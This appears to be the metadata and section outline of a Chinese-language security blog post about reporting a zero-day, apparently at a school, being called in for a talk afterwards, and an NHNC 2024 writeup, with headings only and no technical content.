title: "關於我挖Zeroday遇到的鳥事" description: "" pubDate: "2024-12-29 00:00:00" category: "info-sec" banner: "@images/posts/school-sec_banner.webp" tags: ["Info-sec"] oldViewCount: 8084 oldKeywords: [""]

原由

第一次通報

第二次通報

被約談

NHNC 2024 Writeup

公民探究期末報告資料來源 & 參考資料

東西太多所以就放我 Blog 了：）